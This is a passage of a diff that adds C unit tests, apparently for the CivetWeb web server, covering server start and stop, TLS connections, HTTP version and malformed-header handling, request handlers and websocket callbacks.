ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#endif + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "public_server.h" +#include + +#if defined(_WIN32) +#include +#define test_sleep(x) (Sleep((x)*1000)) +#else +#include +#define test_sleep(x) (sleep(x)) +#endif + +#define SLEEP_BEFORE_MG_START (1) +#define SLEEP_AFTER_MG_START (3) +#define SLEEP_BEFORE_MG_STOP (1) +#define SLEEP_AFTER_MG_STOP (5) + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +#if defined(__MINGW32__) || defined(__GNUC__) +/* Return codes of the tested functions are evaluated. Checking all other + * functions, used only to prepare the test environment seems redundant. + * If they fail, the test fails anyway. */ +#pragma GCC diagnostic ignored "-Wunused-result" +#endif + +static const char * +locate_path(const char *a_path) +{ + static char r_path[256]; + +#ifdef _WIN32 +#ifdef LOCAL_TEST + sprintf(r_path, "%s\\", a_path); +#else + /* Appveyor */ + sprintf(r_path, "..\\..\\..\\%s\\", a_path); +/* TODO: the different paths + * used in the different test + * system is an unsolved + * problem. */ +#endif +#else +#ifdef LOCAL_TEST + sprintf(r_path, "%s/", a_path); +#else + /* Travis */ + sprintf(r_path, + "../../%s/", + a_path); // TODO: fix path in CI test environment +#endif +#endif + + return r_path; +} + + +#define locate_resources() locate_path("resources") +#define locate_test_exes() locate_path("output") + + +static const char * +locate_ssl_cert(void) +{ + static char cert_path[256]; + const char *res = locate_resources(); + size_t l; + + ck_assert(res != NULL); + l = strlen(res); + ck_assert_uint_gt(l, 0); + ck_assert_uint_lt(l, 100); /* assume there is enough space left in our + typical 255 character string buffers */ + + strcpy(cert_path, res); + strcat(cert_path, "ssl_cert.pem"); + return cert_path; +} + + +static int +wait_not_null(void *volatile *data) +{ + int i; + for (i = 0; i < 100; i++) { + mark_point(); + test_sleep(1); + + if (*data != NULL) { + mark_point(); + return 1; + } + } + +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunreachable-code" +#pragma GCC diagnostic ignored "-Wunreachable-code-return" +#endif + + ck_abort_msg("wait_not_null failed (%i sec)", i); + + return 0; + +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic pop +#endif +} + + +START_TEST(test_the_test_environment) +{ + char wd[300]; + char buf[500]; + FILE *f; + struct stat st; + int ret; + const char *ssl_cert = locate_ssl_cert(); + + memset(wd, 0, sizeof(wd)); + memset(buf, 0, sizeof(buf)); + +/* Get the current working directory */ +#ifdef _WIN32 + (void)GetCurrentDirectoryA(sizeof(wd), wd); + wd[sizeof(wd) - 1] = 0; +#else + (void)getcwd(wd, sizeof(wd)); + wd[sizeof(wd) - 1] = 0; +#endif + +/* Check the pem file */ +#ifdef _WIN32 + strcpy(buf, wd); + strcat(buf, "\\"); + strcat(buf, ssl_cert); + f = fopen(buf, "rb"); +#else + strcpy(buf, wd); + strcat(buf, "/"); + strcat(buf, ssl_cert); + f = fopen(buf, "r"); +#endif + + if (f) { + fclose(f); + } else { + fprintf(stderr, "%s not found", buf); + } + +/* Check the test dir */ +#ifdef _WIN32 + strcpy(buf, wd); + strcat(buf, "\\test"); +#else + strcpy(buf, wd); + strcat(buf, "/test"); +#endif + + memset(&st, 0, sizeof(st)); + ret = stat(buf, &st); + + if (ret) { + fprintf(stderr, "%s not found", buf); + } + + +#ifdef _WIN32 +/* Try to copy the files required for AppVeyor */ +#if defined(_WIN64) || defined(__MINGW64__) + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libeay32.dll libeay32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libssl32.dll libssl32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\ssleay32.dll ssleay32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libeay32.dll libeay64.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libssl32.dll libssl64.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\ssleay32.dll ssleay64.dll"); +#else + (void)system("cmd /c copy C:\\OpenSSL-Win32\\libeay32.dll libeay32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win32\\libssl32.dll libssl32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win32\\ssleay32.dll ssleay32.dll"); +#endif +#endif +} +END_TEST + + +static void *threading_data = 0; + +static void * +test_thread_func_t(void *param) +{ + ck_assert_ptr_eq(param, &threading_data); + ck_assert_ptr_eq(threading_data, NULL); + threading_data = &threading_data; + return NULL; +} + + +START_TEST(test_threading) +{ + int ok; + + threading_data = NULL; + mark_point(); + + ok = mg_start_thread(test_thread_func_t, &threading_data); + ck_assert_int_eq(ok, 0); + + wait_not_null(&threading_data); + ck_assert_ptr_eq(threading_data, &threading_data); +} +END_TEST + + +static int +log_msg_func(const struct mg_connection *conn, const char *message) +{ + struct mg_context *ctx; + char *ud; + + ck_assert(conn != NULL); + ctx = mg_get_context(conn); + ck_assert(ctx != NULL); + ud = (char *)mg_get_user_data(ctx); + + strncpy(ud, message, 255); + ud[255] = 0; + mark_point(); + + printf("LOG_MSG_FUNC: %s\n", message); + mark_point(); + + return 1; /* Return 1 means "already handled" */ +} + + +static int +test_log_message(const struct mg_connection *conn, const char *message) +{ + (void)conn; + + printf("LOG_MESSAGE: %s\n", message); + mark_point(); + + return 0; /* Return 0 means "not yet handled" */ +} + + +static struct mg_context * +test_mg_start(const struct mg_callbacks *callbacks, + void *user_data, + const char **configuration_options) +{ + struct mg_context *ctx; + struct mg_callbacks cb; + + if (callbacks) { + memcpy(&cb, callbacks, sizeof(cb)); + } else { + memset(&cb, 0, sizeof(cb)); + } + + if (cb.log_message == NULL) { + cb.log_message = test_log_message; + } + + mark_point(); + test_sleep(SLEEP_BEFORE_MG_START); + mark_point(); + ctx = mg_start(&cb, user_data, configuration_options); + mark_point(); + if (ctx) { + /* Give the server some time to start in the test VM */ + /* Don't need to do this if mg_start failed */ + test_sleep(SLEEP_AFTER_MG_START); + } + mark_point(); + + return ctx; +} + + +static void +test_mg_stop(struct mg_context *ctx) +{ +#ifdef __MACH__ + /* For unknown reasons, there are sporadic hands + * for OSX if mark_point is called here */ + test_sleep(SLEEP_BEFORE_MG_STOP); + mg_stop(ctx); + test_sleep(SLEEP_AFTER_MG_STOP); +#else + mark_point(); + test_sleep(SLEEP_BEFORE_MG_STOP); + mark_point(); + mg_stop(ctx); + mark_point(); + test_sleep(SLEEP_AFTER_MG_STOP); + mark_point(); +#endif +} + + +static void +test_mg_start_stop_http_server_impl(int ipv6) +{ + struct mg_context *ctx; + const char *OPTIONS[16]; + int optcnt = 0; + const char *localhost_name = ((ipv6) ? "[::1]" : "127.0.0.1"); + +#if defined(MG_LEGACY_INTERFACE) + size_t ports_cnt; + int ports[16]; + int ssl[16]; +#endif + struct mg_callbacks callbacks; + char errmsg[256]; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, ret; + struct mg_server_ports portinfo[8]; + + mark_point(); + +#if !defined(NO_FILES) + OPTIONS[optcnt++] = "document_root"; + OPTIONS[optcnt++] = "."; +#endif + OPTIONS[optcnt++] = "listening_ports"; + OPTIONS[optcnt++] = ((ipv6) ? "+8080" : "8080"); + OPTIONS[optcnt] = 0; + +#if defined(MG_LEGACY_INTERFACE) + memset(ports, 0, sizeof(ports)); + memset(ssl, 0, sizeof(ssl)); +#endif + memset(portinfo, 0, sizeof(portinfo)); + memset(&callbacks, 0, sizeof(callbacks)); + memset(errmsg, 0, sizeof(errmsg)); + + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + +#if defined(MG_LEGACY_INTERFACE) + ports_cnt = mg_get_ports(ctx, 16, ports, ssl); + ck_assert_uint_eq(ports_cnt, 1); + ck_assert_int_eq(ports[0], 8080); + ck_assert_int_eq(ssl[0], 0); + ck_assert_int_eq(ports[1], 0); + ck_assert_int_eq(ssl[1], 0); +#endif + + ret = mg_get_server_ports(ctx, 0, portinfo); + ck_assert_int_lt(ret, 0); + ck_assert_int_eq(portinfo[0].protocol, 0); + ck_assert_int_eq(portinfo[0].port, 0); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 0); + ck_assert_int_eq(portinfo[1].protocol, 0); + ck_assert_int_eq(portinfo[1].port, 0); + ck_assert_int_eq(portinfo[1].is_ssl, 0); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + + ret = mg_get_server_ports(ctx, 4, portinfo); + ck_assert_int_eq(ret, 1); + if (ipv6) { + ck_assert_int_eq(portinfo[0].protocol, 3); + } else { + ck_assert_int_eq(portinfo[0].protocol, 1); + } + ck_assert_int_eq(portinfo[0].port, 8080); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 0); + ck_assert_int_eq(portinfo[1].protocol, 0); + ck_assert_int_eq(portinfo[1].port, 0); + ck_assert_int_eq(portinfo[1].is_ssl, 0); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + + test_sleep(1); + + /* HTTP 1.0 GET request */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + test_sleep(1); + + /* HTTP 1.1 GET request */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.1\r\n"); + mg_printf(client_conn, "Host: localhost:8080\r\n"); + mg_printf(client_conn, "Connection: close\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + test_sleep(1); + + + /* HTTP 1.7 GET request - this HTTP version does not exist */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.7\r\n"); + mg_printf(client_conn, "Host: localhost:8080\r\n"); + mg_printf(client_conn, "Connection: close\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + /* Response must be 505 HTTP Version not supported */ + ck_assert_str_eq(client_ri->local_uri, "505"); + mg_close_connection(client_conn); + + test_sleep(1); + + + /* HTTP request with multiline header. + * Multiline header are obsolete with RFC 7230 section-3.2.4 + * and must return "400 Bad Request" */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.1\r\n"); + mg_printf(client_conn, "Host: localhost:8080\r\n"); + mg_printf(client_conn, "X-Obsolete-Header: something\r\nfor nothing\r\n"); + mg_printf(client_conn, "Connection: close\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + /* Response must be 400 Bad Request */ + ck_assert_str_eq(client_ri->local_uri, "400"); + mg_close_connection(client_conn); + + test_sleep(1); + + /* End test */ + test_mg_stop(ctx); + mark_point(); +} + + +START_TEST(test_mg_start_stop_http_server) +{ + mark_point(); + test_mg_start_stop_http_server_impl(0); + mark_point(); +} +END_TEST + + +START_TEST(test_mg_start_stop_http_server_ipv6) +{ + mark_point(); +#if defined(USE_IPV6) + test_mg_start_stop_http_server_impl(1); +#endif + mark_point(); +} +END_TEST + + +START_TEST(test_mg_start_stop_https_server) +{ +#ifndef NO_SSL + + struct mg_context *ctx; + +#if defined(MG_LEGACY_INTERFACE) + size_t ports_cnt; + int ports[16]; + int ssl[16]; +#endif + struct mg_callbacks callbacks; + char errmsg[256]; + + const char *OPTIONS[8]; /* initializer list here is rejected by CI test */ + int opt_idx = 0; + const char *ssl_cert = locate_ssl_cert(); + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, ret; + struct mg_server_ports portinfo[8]; + + ck_assert(ssl_cert != NULL); + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); +#if !defined(NO_FILES) + OPTIONS[opt_idx++] = "document_root"; + OPTIONS[opt_idx++] = "."; +#endif + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8080r,8443s"; + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = ssl_cert; + + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + +#if defined(MG_LEGACY_INTERFACE) + memset(ports, 0, sizeof(ports)); + memset(ssl, 0, sizeof(ssl)); +#endif + memset(portinfo, 0, sizeof(portinfo)); + memset(&callbacks, 0, sizeof(callbacks)); + memset(errmsg, 0, sizeof(errmsg)); + + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + +#if defined(MG_LEGACY_INTERFACE) + ports_cnt = mg_get_ports(ctx, 16, ports, ssl); + ck_assert_uint_eq(ports_cnt, 2); + ck_assert_int_eq(ports[0], 8080); + ck_assert_int_eq(ssl[0], 0); + ck_assert_int_eq(ports[1], 8443); + ck_assert_int_eq(ssl[1], 1); + ck_assert_int_eq(ports[2], 0); + ck_assert_int_eq(ssl[2], 0); +#endif + + ret = mg_get_server_ports(ctx, 0, portinfo); + ck_assert_int_lt(ret, 0); + ck_assert_int_eq(portinfo[0].protocol, 0); + ck_assert_int_eq(portinfo[0].port, 0); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 0); + ck_assert_int_eq(portinfo[1].protocol, 0); + ck_assert_int_eq(portinfo[1].port, 0); + ck_assert_int_eq(portinfo[1].is_ssl, 0); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + + ret = mg_get_server_ports(ctx, 4, portinfo); + ck_assert_int_eq(ret, 2); + ck_assert_int_eq(portinfo[0].protocol, 1); + ck_assert_int_eq(portinfo[0].port, 8080); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 1); + ck_assert_int_eq(portinfo[1].protocol, 1); + ck_assert_int_eq(portinfo[1].port, 8443); + ck_assert_int_eq(portinfo[1].is_ssl, 1); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + ck_assert_int_eq(portinfo[2].protocol, 0); + ck_assert_int_eq(portinfo[2].port, 0); + ck_assert_int_eq(portinfo[2].is_ssl, 0); + ck_assert_int_eq(portinfo[2].is_redirect, 0); + + test_sleep(1); + + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8443, 1, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + test_sleep(1); + + test_mg_stop(ctx); + mark_point(); +#endif +} +END_TEST + + +START_TEST(test_mg_server_and_client_tls) +{ +#ifndef NO_SSL + + struct mg_context *ctx; + + int ports_cnt; + struct mg_server_ports ports[16]; + struct mg_callbacks callbacks; + char errmsg[256]; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res; + struct mg_client_options client_options; + + const char *OPTIONS[32]; /* initializer list here is rejected by CI test */ + int opt_idx = 0; + char server_cert[256]; + char client_cert[256]; + const char *res_dir = locate_resources(); + + ck_assert(res_dir != NULL); + strcpy(server_cert, res_dir); + strcpy(client_cert, res_dir); +#ifdef _WIN32 + strcat(server_cert, "cert\\server.pem"); + strcat(client_cert, "cert\\client.pem"); +#else + strcat(server_cert, "cert/server.pem"); + strcat(client_cert, "cert/client.pem"); +#endif + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); +#if !defined(NO_FILES) + OPTIONS[opt_idx++] = "document_root"; + OPTIONS[opt_idx++] = "."; +#endif + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8080r,8443s"; + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = server_cert; + OPTIONS[opt_idx++] = "ssl_verify_peer"; + OPTIONS[opt_idx++] = "yes"; + OPTIONS[opt_idx++] = "ssl_ca_file"; + OPTIONS[opt_idx++] = client_cert; + + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + + memset(ports, 0, sizeof(ports)); + memset(&callbacks, 0, sizeof(callbacks)); + memset(errmsg, 0, sizeof(errmsg)); + + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + ports_cnt = mg_get_server_ports(ctx, 16, ports); + ck_assert_int_eq(ports_cnt, 2); + ck_assert_int_eq(ports[0].protocol, 1); + ck_assert_int_eq(ports[0].port, 8080); + ck_assert_int_eq(ports[0].is_ssl, 0); + ck_assert_int_eq(ports[0].is_redirect, 1); + ck_assert_int_eq(ports[1].protocol, 1); + ck_assert_int_eq(ports[1].port, 8443); + ck_assert_int_eq(ports[1].is_ssl, 1); + ck_assert_int_eq(ports[1].is_redirect, 0); + ck_assert_int_eq(ports[2].protocol, 0); + ck_assert_int_eq(ports[2].port, 0); + ck_assert_int_eq(ports[2].is_ssl, 0); + ck_assert_int_eq(ports[2].is_redirect, 0); + + test_sleep(1); + + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8443, 1, client_err, sizeof(client_err)); + + ck_assert_str_ne(client_err, ""); + ck_assert(client_conn == NULL); + + memset(client_err, 0, sizeof(client_err)); + memset(&client_options, 0, sizeof(client_options)); + client_options.host = "127.0.0.1"; + client_options.port = 8443; + client_options.client_cert = client_cert; + client_options.server_cert = server_cert; + + client_conn = mg_connect_client_secure(&client_options, + client_err, + sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + /* TODO: A client API using a client certificate is missing */ + + test_sleep(1); + + test_mg_stop(ctx); +#endif + mark_point(); +} +END_TEST + + +static struct mg_context *g_ctx; + +static int +request_test_handler(struct mg_connection *conn, void *cbdata) +{ + int i; + char chunk_data[32]; + const struct mg_request_info *ri; + struct mg_context *ctx; + void *ud, *cud; + void *dummy = malloc(1); + + ctx = mg_get_context(conn); + ud = mg_get_user_data(ctx); + ri = mg_get_request_info(conn); + + ck_assert(ri != NULL); + ck_assert(ctx == g_ctx); + ck_assert(ud == &g_ctx); + + ck_assert(dummy != NULL); + + mg_set_user_connection_data(conn, (void *)&dummy); + cud = mg_get_user_connection_data(conn); + ck_assert_ptr_eq((void *)cud, (void *)&dummy); + + mg_set_user_connection_data(conn, (void *)NULL); + cud = mg_get_user_connection_data(conn); + ck_assert_ptr_eq((void *)cud, (void *)NULL); + + free(dummy); + + ck_assert_ptr_eq((void *)cbdata, (void *)(ptrdiff_t)7); + strcpy(chunk_data, "123456789A123456789B123456789C"); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Type: text/plain\r\n\r\n"); + + for (i = 1; i <= 10; i++) { + mg_printf(conn, "%x\r\n", i); + mg_write(conn, chunk_data, (unsigned)i); + mg_printf(conn, "\r\n"); + } + + mg_printf(conn, "0\r\n\r\n"); + mark_point(); + + return 1; +} + + +#ifdef USE_WEBSOCKET +/****************************************************************************/ +/* WEBSOCKET SERVER */ +/****************************************************************************/ +static const char *websocket_welcome_msg = "websocket welcome\n"; +static const size_t websocket_welcome_msg_len = + 18 /* strlen(websocket_welcome_msg) */; +static const char *websocket_goodbye_msg = "websocket bye\n"; +static const size_t websocket_goodbye_msg_len = + 14 /* strlen(websocket_goodbye_msg) */; + + +#if defined(DEBUG) +static void +WS_TEST_TRACE(const char *f, ...) +{ + va_list l; + va_start(l, f); + vprintf(f, l); + va_end(l); +} +#else +#define WS_TEST_TRACE(...) +#endif + + +static int +websock_server_connect(const struct mg_connection *conn, void *udata) +{ + (void)conn; + + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + WS_TEST_TRACE("Server: Websocket connected\n"); + mark_point(); + + return 0; /* return 0 to accept every connection */ +} + + +static void +websock_server_ready(struct mg_connection *conn, void *udata) +{ + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + ck_assert_ptr_ne((void *)conn, (void *)NULL); + WS_TEST_TRACE("Server: Websocket ready\n"); + + /* Send websocket welcome message */ + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_TEXT, + websocket_welcome_msg, + websocket_welcome_msg_len); + mg_unlock_connection(conn); + + WS_TEST_TRACE("Server: Websocket ready X\n"); + mark_point(); +} + + +#define long_ws_buf_len_16 (500) +#define long_ws_buf_len_64 (70000) +static char long_ws_buf[long_ws_buf_len_64]; + + +static int +websock_server_data(struct mg_connection *conn, + int bits, + char *data, + size_t data_len, + void *udata) +{ + (void)bits; + + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + WS_TEST_TRACE("Server: Got %u bytes from the client\n", (unsigned)data_len); + + if (data_len == 3 && !memcmp(data, "bye", 3)) { + /* Send websocket goodbye message */ + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_TEXT, + websocket_goodbye_msg, + websocket_goodbye_msg_len); + mg_unlock_connection(conn); + } else if (data_len == 5 && !memcmp(data, "data1", 5)) { + mg_lock_connection(conn); + mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, "ok1", 3); + mg_unlock_connection(conn); + } else if (data_len == 5 && !memcmp(data, "data2", 5)) { + mg_lock_connection(conn); + mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, "ok 2", 4); + mg_unlock_connection(conn); + } else if (data_len == 5 && !memcmp(data, "data3", 5)) { + mg_lock_connection(conn); + mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, "ok - 3", 6); + mg_unlock_connection(conn); + } else if (data_len == long_ws_buf_len_16) { + ck_assert(memcmp(data, long_ws_buf, long_ws_buf_len_16) == 0); + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_16); + mg_unlock_connection(conn); + } else if (data_len == long_ws_buf_len_64) { + ck_assert(memcmp(data, long_ws_buf, long_ws_buf_len_64) == 0); + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_64); + mg_unlock_connection(conn); + } else { + +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunreachable-code" +#endif +#ifdef __clang__ +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wunreachable-code" +#endif + + ck_abort_msg("Got unexpected message from websocket client"); + + + return 0; + +#ifdef __clang__ +#pragma clang diagnostic pop +#endif +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic pop +#endif + } + mark_point(); + + return 1; /* return 1 to keep the connetion open */ +} + + +static void +websock_server_close(const struct mg_connection *conn, void *udata) +{ +#ifndef __MACH__ + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + WS_TEST_TRACE("Server: Close connection\n"); + + /* Can not send a websocket goodbye message here - + * the connection is already closed */ + + mark_point(); +#endif + + (void)conn; + (void)udata; +} + + +/****************************************************************************/ +/* WEBSOCKET CLIENT */ +/****************************************************************************/ +struct tclient_data { + void *data; + size_t len; + int closed; + int clientId; +}; + + +static int +websocket_client_data_handler(struct mg_connection *conn, + int flags, + char *data, + size_t data_len, + void *user_data) +{ + struct mg_context *ctx = mg_get_context(conn); + struct tclient_data *pclient_data = + (struct tclient_data *)mg_get_user_data(ctx); + + ck_assert_ptr_eq(user_data, (void *)pclient_data); + + ck_assert(pclient_data != NULL); + ck_assert_int_gt(flags, 128); + ck_assert_int_lt(flags, 128 + 16); + ck_assert((flags == (int)(128 | WEBSOCKET_OPCODE_BINARY)) + || (flags == (int)(128 | WEBSOCKET_OPCODE_TEXT))); + + if (flags == (int)(128 | WEBSOCKET_OPCODE_TEXT)) { + WS_TEST_TRACE( + "Client %i received %lu bytes text data from server: %.*s\n", + pclient_data->clientId, + (unsigned long)data_len, + (int)data_len, + data); + } else { + WS_TEST_TRACE("Client %i received %lu bytes binary data from\n", + pclient_data->clientId, + (unsigned long)data_len); + } + + pclient_data->data = malloc(data_len); + ck_assert(pclient_data->data != NULL); + memcpy(pclient_data->data, data, data_len); + pclient_data->len = data_len; + + mark_point(); + + return 1; +} + + +static void +websocket_client_close_handler(const struct mg_connection *conn, + void *user_data) +{ + struct mg_context *ctx = mg_get_context(conn); + struct tclient_data *pclient_data = + (struct tclient_data *)mg_get_user_data(ctx); + +#ifndef __MACH__ + ck_assert_ptr_eq(user_data, (void *)pclient_data); + + ck_assert(pclient_data != NULL); + + WS_TEST_TRACE("Client %i: Close handler\n", pclient_data->clientId); + pclient_data->closed++; + + mark_point(); +#else + + (void)user_data; + pclient_data->closed++; + +#endif /* __MACH__ */ +} + +#endif /* USE_WEBSOCKET */ + + +START_TEST(test_request_handlers) +{ + char ebuf[100]; + struct mg_context *ctx; + struct mg_connection *client_conn; + const struct mg_request_info *ri; + char uri[64]; + char buf[1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + 10 + 8]; + const char *expected = + "112123123412345123456123456712345678123456789123456789A"; + int i; + const char *request = "GET /U7 HTTP/1.0\r\n\r\n"; +#if 